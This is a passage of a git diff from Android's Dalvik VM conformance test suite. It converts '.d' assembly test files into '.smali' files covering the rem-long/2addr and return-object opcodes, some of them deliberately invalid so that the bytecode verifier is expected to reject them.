+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       rem-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.d
deleted file mode 100644
index 2d0d1c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_4.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)J
-.limit regs 14
-
-       rem-long/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.smali
new file mode 100644
index 0000000..1394f8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       rem-long/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.d
deleted file mode 100644
index 7d4ed96..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_5.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)J
-.limit regs 14
-
-       rem-long/2addr v11, v13
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.smali
new file mode 100644
index 0000000..d1a310f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)J
+.registers 14
+
+       rem-long/2addr v11, v13
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.d
deleted file mode 100644
index 8952ae1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_6.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.smali
new file mode 100644
index 0000000..730be9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.d
deleted file mode 100644
index b537c47..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_1.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 3
-
-       const-string v1, "hello"
-       return-object v1
-.end method
-
-.method public run2()Ljava/lang/Object;
-.limit regs 3
-       return-object v2
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.smali
new file mode 100644
index 0000000..5f4cc9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_1.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 3
+
+       const-string v1, "hello"
+       return-object v1
+.end method
+
+.method public run2()Ljava/lang/Object;
+.registers 3
+       return-object v2
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.d
deleted file mode 100644
index 66e762a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_10.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       const v1, 123
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.smali
new file mode 100644
index 0000000..7ba1b11
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_10.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       const v1, 123
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.d
deleted file mode 100644
index c632133..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_11.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       const-wide v1, 123
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.smali
new file mode 100644
index 0000000..389d4bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_11.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       const-wide v1, 123
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.smali
new file mode 100644
index 0000000..5c2f076
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_12;
+.super Ljava/lang/Object;
+.source "T_return_object_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test()Ldot/junit/opcodes/return_object/d/TSuper;
+    .registers 5
+
+    new-instance v1, Ldot/junit/opcodes/return_object/d/TChild;
+
+    invoke-direct {v1}, Ldot/junit/opcodes/return_object/d/TChild;-><init>()V
+
+    return-object v1
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 4
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/T_return_object_12;->test()Ldot/junit/opcodes/return_object/d/TSuper;
+
+    move-result-object v2
+
+    instance-of v0, v2, Ldot/junit/opcodes/return_object/d/TChild;
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.smali
new file mode 100644
index 0000000..a0c683b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_13;
+.super Ljava/lang/Object;
+.source "T_return_object_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test()Ldot/junit/opcodes/return_object/d/TInterface;
+    .registers 5
+
+    new-instance v1, Ldot/junit/opcodes/return_object/d/TChild;
+
+    invoke-direct {v1}, Ldot/junit/opcodes/return_object/d/TChild;-><init>()V
+
+    return-object v1
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 4
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/T_return_object_13;->test()Ldot/junit/opcodes/return_object/d/TInterface;
+
+    move-result-object v2
+
+    instance-of v2, v2, Ldot/junit/opcodes/return_object/d/TChild;
+
+    return v2
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.smali
new file mode 100644
index 0000000..a1396b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_14;
+.super Ljava/lang/Object;
+.source "T_return_object_14.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test()Ldot/junit/opcodes/return_object/d/TChild;
+    .registers 6
+
+    new-instance v0, Ldot/junit/opcodes/return_object/d/TSuper;
+
+    invoke-direct {v0}, Ldot/junit/opcodes/return_object/d/TSuper;-><init>()V
+
+    return-object v0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 6
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/T_return_object_14;->test()Ldot/junit/opcodes/return_object/d/TChild;
+
+    move-result-object v1
+
+    instance-of v0, v1, Ldot/junit/opcodes/return_object/d/TChild;
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.d
deleted file mode 100644
index 29377fa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_15.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_15
-.super java/lang/Object
-.implements dot/junit/opcodes/return_object/RunnerGenerator
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ldot/junit/opcodes/return_object/Runner;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/return_object/d/TSuper2
-       invoke-direct {v1}, dot/junit/opcodes/return_object/d/TSuper2/<init>()V
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.smali
new file mode 100644
index 0000000..6331169
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_15.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_15;
+.super  Ljava/lang/Object;
+.implements  Ldot/junit/opcodes/return_object/RunnerGenerator;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ldot/junit/opcodes/return_object/Runner;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/return_object/d/TSuper2;
+       invoke-direct {v1}, Ldot/junit/opcodes/return_object/d/TSuper2;-><init>()V
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.d
deleted file mode 100644
index 0b8dc5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_16.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-      return-object v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.smali
new file mode 100644
index 0000000..19f371e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_16.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+      return-object v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.d
deleted file mode 100644
index f892233..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_2.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       const/4 v1, 0
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.smali
new file mode 100644
index 0000000..0eb70b4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_2.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       const/4 v1, 0
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.d
deleted file mode 100644
index 089fde7..0000000
